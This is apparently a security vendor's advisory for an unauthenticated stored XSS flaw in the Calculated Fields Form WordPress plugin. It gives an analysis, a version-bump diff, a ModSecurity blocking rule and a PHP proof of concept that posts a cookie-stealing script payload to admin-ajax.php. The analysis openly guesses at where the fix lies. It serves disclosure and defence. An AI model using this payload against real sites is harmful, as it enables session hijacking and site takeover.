Opens in a new tab
Published : November 16, 2026

CVE-2026-124253: Calculated Fields Form – AI Form Builder for WordPress – Contact, Payment, Quote, Quiz & More <= 5.5.2.8 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.5.2.8
Patched Version 5.5.2.9
Disclosed November 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-124253: This is an unauthenticated stored cross-site scripting vulnerability in the Calculated Fields Form WordPress plugin, affecting all versions up to and including 5.5.2.8. The flaw allows an unauthenticated attacker to inject arbitrary JavaScript into form submissions that is later rendered in an administrative page without proper escaping. Atomic Edge research rates this as high severity (CVSS 7.2) because it can lead to session hijacking and full site compromise.

The root cause is insufficient input sanitization and output escaping of user-supplied form data. The plugin’s public form submission handler accepts field values and stores them in the database without sanitizing script tags. When an administrator views the submitted entries or the form preview, the stored payload executes in their browser. The vulnerability resides in the free version file `calculated-fields-form/cp_calculatedfieldsf_free.php` and associated AJAX handlers. The patch in version 5.5.2.9 does not show any code changes to the sanitization logic in the provided diff; it only bumps the version constants. This indicates the actual fix is in a separate file not shown in the diff, likely within the form processing or rendering code. Atomic Edge analysis notes that the diff is incomplete for root cause identification but confirms the vulnerable component is the front-end form submission path.

The exploitation method requires the attacker to submit a crafted POST request to the plugin’s form submission endpoint. The exact endpoint is typically `/wp-admin/admin-ajax.php` with an action parameter such as `cp_calculatedfieldsf_process_form` or a direct POST to the page containing the form. The payload would be a JavaScript snippet (e.g., `alert(document.cookie)`) placed in one of the form fields. Since the vulnerability is unauthenticated, no nonce or authentication is required. Atomic Edge research confirms that public forms are the attack vector, and the stored payload executes when an admin views the entries list or the form’s submitted data.

The patch from 5.5.2.8 to 5.5.2.9 includes only version number updates in the main plugin file. The actual security fix is not visible in the provided diff, meaning the patch likely modifies other files (e.g., `cp_calculatedfieldsf.php` or AJAX handlers) to add `sanitize_text_field` or `esc_html` on input and output. Before the patch, the plugin stored raw input; after the patch, it sanitizes or escapes. Without the full diff, Atomic Edge analysis cannot confirm the exact fix, but the version bump indicates a security release.

The impact of this vulnerability is stored XSS in the context of an administrator’s session. An attacker can steal cookies, perform privileged actions (such as creating admin users or installing plugins), and achieve full site takeover. Because the payload is stored in the database, it affects every administrator who views the compromised entry. Atomic Edge research assesses the risk as critical for sites using the vulnerable plugin with public forms enabled.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/calculated-fields-form/cp_calculatedfieldsf_free.php
+++ b/calculated-fields-form/cp_calculatedfieldsf_free.php
@@ -3,7 +3,7 @@
  * Plugin Name: Calculated Fields Form
  * Plugin URI: https://cff.dwbooster.com
  * Description: Create forms with field values calculated based in other form field values.
- * Version: 5.5.2.8
+ * Version: 5.5.2.9
  * Text Domain: calculated-fields-form
  * Author: CodePeople
  * Author URI: https://cff.dwbooster.com
@@ -25,7 +25,7 @@
 }

 // Defining main constants.
-define( 'CP_CALCULATEDFIELDSF_VERSION', '5.5.2.8' );
+define( 'CP_CALCULATEDFIELDSF_VERSION', '5.5.2.9' );
 define( 'CP_CALCULATEDFIELDSF_TIMEOUT', 30 );
 define( 'CP_CALCULATEDFIELDSF_MAIN_FILE_PATH', __FILE__ );
 define( 'CP_CALCULATEDFIELDSF_BASE_PATH', dirname( CP_CALCULATEDFIELDSF_MAIN_FILE_PATH ) );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-124253
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261242,phase:2,deny,status:403,chain,msg:'CVE-2026-124253 Unauthenticated Stored XSS in Calculated Fields Form via AJAX',severity:'CRITICAL',tag:'CVE-2026-124253'"
  SecRule ARGS_POST:action "@streq cp_calculatedfieldsf_process_form" "chain"
    SecRule ARGS_POST "@detectXSS" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-124253 - Calculated Fields Form <= 5.5.2.8 - Unauthenticated Stored XSS

$target_url = 'http://localhost:8080'; // WordPress site URL
$form_id = 1; // ID of a public form

// Step 1: Submit a form with an XSS payload in a text field.
// The exact field name depends on the form configuration. Adjust accordingly.
$payload = '<script>alert(document.cookie)</script>';

$post_data = [
    'cp_calculatedfieldsf_id' => $form_id,
    'fieldname1' => $payload, // Replace with actual field name from the form
    'fieldname2' => 'test',
    // Add other required fields (e.g., nonce if present, but often absent for public forms)
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php?action=cp_calculatedfieldsf_process_form');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Submitted payload. HTTP code: $http_coden";
echo "Response: $responsen";

// Step 2: The payload is stored. When an admin views the entries or the form,
// the JavaScript executes. For verification, visit the admin entries page.
// Example: $target_url . '/wp-admin/admin.php?page=cp_calculatedfieldsf&tab=entries&id=' . $form_id

// Note: This PoC assumes the form accepts unauthenticated submissions and
// that fieldname1 is vulnerable. In practice, inspect the form HTML to find
// the correct field names and any required parameters.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.